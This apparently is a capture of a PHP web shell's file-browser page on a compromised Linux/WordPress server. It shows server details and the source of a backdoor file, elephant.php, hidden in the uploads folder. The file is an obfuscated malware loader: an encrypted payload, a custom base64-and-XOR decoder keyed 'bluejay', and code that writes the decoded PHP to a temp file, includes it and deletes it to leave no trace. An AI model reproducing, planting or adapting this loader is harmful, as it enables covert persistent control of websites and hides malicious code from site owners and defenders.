HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/public_html/wp-content/uploads/2024/.cache/modules/elephant.php
<?php
$encrypted = 'XlMFDRpsc0YKHAkPQURCBQYWDxVRRjMyID46XhINAQ1NPFBCU1UXDwAVEg0BDUJFJiUpIT5NERgWBFI4Q0FDQgIACQZadGhIEQoJFBQHAgE3BQ4NQlFVFw8AFRINAQ1CBhwWDwIBQkhQWWF_aGAIH0JEVEEMCBUHTAkZSkAQETMTDAYEUUYKHAkPSFBCF3hvSkFZQggcAEJGEAwPGhcYBBoWTBMMBgReS1d4bxdsc29mUQgPEgoDCxBFV0FeRVd4b2drEARMXUE1MjwwOjA3MUYrJz0gIDk1Ji8pIS0lJV4_TEhYV0FeMiMmMU1IWRlhf0VKQVkLClVNAxIKBxhdQTUxNjE4LkIJDhcWCRsRTTxQS0wOaGBBWUJMVUVKQV0MCQImBQ8NBwIBRVdBXT08OjY-Ol4BAxsRDw8NRTFOaGBBWUJMVUVKQR8LABA6GhQNPQ8aCx4EFxYfXUEMCBUHQFVBBAQOIQMbEQ8PDUtXeG9KQVlCTFVFSkUUBx8GBA0EWV9MVxYLFxwGV1VHUWxzQkxVRRdsc29mVUVKQRAETF1EDwwJFhVdQTUxNjE4LkIEBA49ChwJDw8YDwlSOENIWRlhf0VKQVlCTFVFTg8cFSIUCA9BREIOFBYPDxgPCV1BNTE2MTguQgQEDj0KHAkPDxgPCVI4Q1p0aExVRUpBWUJMUQsPFikDGB1FV0EdCx4bBAcEUUYKHAkPSFlMTDEsOCQ6NiMnPDUyPDItJyQ-LitCQlVBBAQOLA0YAFFsc29mVUVKQVlCTFUMDEFRRgIQEjoADQpMVFhXQV0EBRkASkdfQk0TDAYEJgcUHBYeElFGAhASOgANCkVcRRFsc0JMVUVKQVlCTFVFSggfQkQHAAQAFAdEUQMDDRxOTFELDxYpAxgdTENBAm9mVUVKQVlCTFVFSkFZQkxVRU4HEA4JVVhKExwDAAUEHglRRgIQEjoADQpFTmhgQVlCTFVFSkFZQkxVRUpBWUYBEBYZAB4HTFtYSkNZEAkbBAcEHVlOTmhgQVlCTFVFSkFZQkxVGEoEFREJVR5na1lCTFVFSkFZQkxVRUpBWUJIGAAZEhgFCVVLV0FbQgoUDAYEHUIYGkUYBBcDARBeSFp0aExVRUpBWUJMVUVKQQRvZlVFSkFZQkxVGGdrWUJMVRhnawRvZnhvTgIWDBgQCx5BREIKHAkPPh4HGCoGBQ8NBwIBFkJFHwsAEExRbHNdUnhvZ2tFQyg6Jj44KSdMHREHDUdvZkkNHgwVXGF_WQIEGAZSeG9KQVlCUBgAHgBZAQQUFxkEDV9OIDEsTEFAUnhvSkFZQlAGERMNHFxhf0VKQVlCTFVFHgQBFg0HAAtBAm9mVUVKQVlCTFVFSkFZFQUREQJbWVFcUF5na1lCTFVFSkFZQkxVRQIEEAUEAV9KVUkUBE5oYEFZQkxVRUpBWUJMVQcLAhIFHhoQBAVUAQMZChhbWUFeF1cIUxtZYX9FSkFZQkxVRUpBWUIPGgkFE0NCTxMEDFEcVFd4b0pBWUJMVUVKQVlCTBcKGAUcEFZVVBoZWREDGQwOQVpWWEFeZ2tZQkxVRUpBWUJMVUUaAB0GBRsCUEFIUhwNXmdrWUJMVUVKQVlCTFVFDA4XFkETBAcIFRtWVQgFDxYRHBQGD1p0aExVRUpBWUJMVUVKQR8NAgFIGQgDB1ZVVF4RAVlhf0VKQVlCTFVFF2xzQkxVRUpBWUJCGAAZEhgFCVUeZ2tZQkxVRUpBWUJMVUUJDhUNHk9FBggeChgSFw8EF1lhf0VKQVlCTFVFSkFZQhwUAQ4IFwVWVVRaEQFZYX9FSkFZQkxVRRdsc0JMVUVKQVlCDgARHg4XQhd4b0pBWUJMVUVKQVlCTBcECQoeEAMACw5bWQAAFAYBWnRoTFVFSkFZQkxVRUpBGg0AGhdQQVoEChNeZ2tZQkxVRUpBWUJMVUUaAB0GBRsCUEFMEhRVXRoZQm9mVUVKQVlCTFVFSkFZAAMHAQ8TQ0ICGgsPWnRoTFVFSkFZQkxVRUpBGhceBgoYW1kSAxwLHgQLWWF_RUpBWUJMVUVKQVlCARQXDQgXTwAQAx5bWVNcBR1RbHNCTFVFSkFZQkxVRUoDFhAIEBdHExgGBQAWUEFIEhROaGBBWUJMVUVKQVlCTFUDBQ8NTwoUCAMNAFhMUiYFFAsLCQdFJAQORUBVJgUUCwsJB0lKDBYMAwYVCwIcWWF_RUpBWUJMVUVKQVlCChoLHkwKCxYQX0pQSVJJTmhgQVlCTFVFSkEEb2ZVRUpBWUJMVQcfFQ0NAk8NBRccEEwOaGBBWUJMVUVKQVlCTFUHCwISBR4aEAQFQ0JPQ1NcWnRoTFVFSkFZQkwIaGBBWUJMVUVKQVcEBRkALwUQFgkHRRFsc0JMVUVKQVlCTFVFShUcGhhYBAYIHgxWVQYPDw0HHk5oYEFZQkxVRUpBWUJMVQYFDRYQVlVGDAAfUglDXmdrWUJMVUVKQVkfYX9FSkFZQkxVRUQJHAMIEBdKGnRoTFVFSkFZQkxVRUpBHw0CAUgMABQLAAxfSkY6DRkHDA8TWSwJAkJGQToNGQcMDxNVQgEaCwUSCQMPEF5na1lCTFVFSkFZQkxVRQwOFxZBBgwQBENCXUFVT1p0aExVRUpBWUJMCGhgQVlCTFVFSkEQDBwAETEVABIJSEceBAEWTihFEWxzQkxVRUpBWUJMVUVKAxgBBxIXBRQXBkEWCgYOC1hMVlQPUBxTCU5oYEFZQkxVRUpBWUJMVQYFDRYQVlVGDAAfUglDXmdrWUJMVUVKQVlCTFVFCA4LBgkHX0pQCRpMBgoGCB1CT0BQX1p0aExVRUpBWUJMVUVKQQkDCBEMBAZDQlgFHVFsc0JMVUVKQVlCTFVFSgcWDBhYAwsMEA4VT0UHDhcNHwUECQRCb2ZVRUpBWUJMVUVKQVkPDQcCAw9UDgkTEVBBSFIcDV5na1lCTFVFSkFZQkxVRR0IHRYET0VYUUkSFE5oYEFZQkxVRUpBBG9mVUVKQUVNHwEcBgRHb2ZJSgIEGAZSeG9WAxYGFUtoYEFZQkxJAQMXWQEAFBYZXFsEBRkALwUQFgkHR1Rsc0JMVUVKQVlCUBMKGAxZDwkBDQUFREA8OjY-Q0dvZlVFSkFZQkxVRUpBWV4IHBNKAhUDHwZYSAkcAwgQF0hfdGhMVUVKQVlCTFVFSkFZQkxVWQMPCRcYVRETERxfTgEAEhVbQgIUCA9cWwwJAjoMCBUHAhQID0NZFA0ZEA9cW15TBQ0aQRwBBBpFAhUUDh8FAAkIGA4PHQQYElEADQYABAAUB0RRAwMNHEtFTkVVX1tcYX9FSkFZQkxVRUpBWUJMVUVKXRsXGAEKBEENGxwQWEgSDAABHBFIXyoDGhBZRQMMFhgaC1Rsc0JMVUVKQVlCTFVFSkFZQkxJWhoJCUIFE0VCQBwPHAEcQkUUBx8GBA0EUEtMEAYCDllFUBEMHEEaDg0GFldDFAcfBgQNBFtcS1VLSkUUBx8GBA0EWUxMUllFBRAUUlJeSl5Hb2ZVRUpBWUJMVUVKQVleQxEMHF90aExVRUpBWUJMVUVKQUUAHktoYEFZQkxVRUpBWUJMVVkeBAEWDQcAC0EXAwEQWEgCFgwYEAseQ0deUwUNGkEcAQQaRQIVFA4fBQAJCBgODx0EGBJRRg8aCx4EFxZFTkVVX0VNGBAdHgALBw1LaGBBWUJMVUVKQUVNChoXB190aExVRUpdVgYFA1tna0VNDhoBE190aFBaDR4MFVxhfw';
if (!function_exists('weevil')) {
    function weevil($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), weevil($encrypted, 'bluejay'));
include $tmp;
unlink($tmp);

?>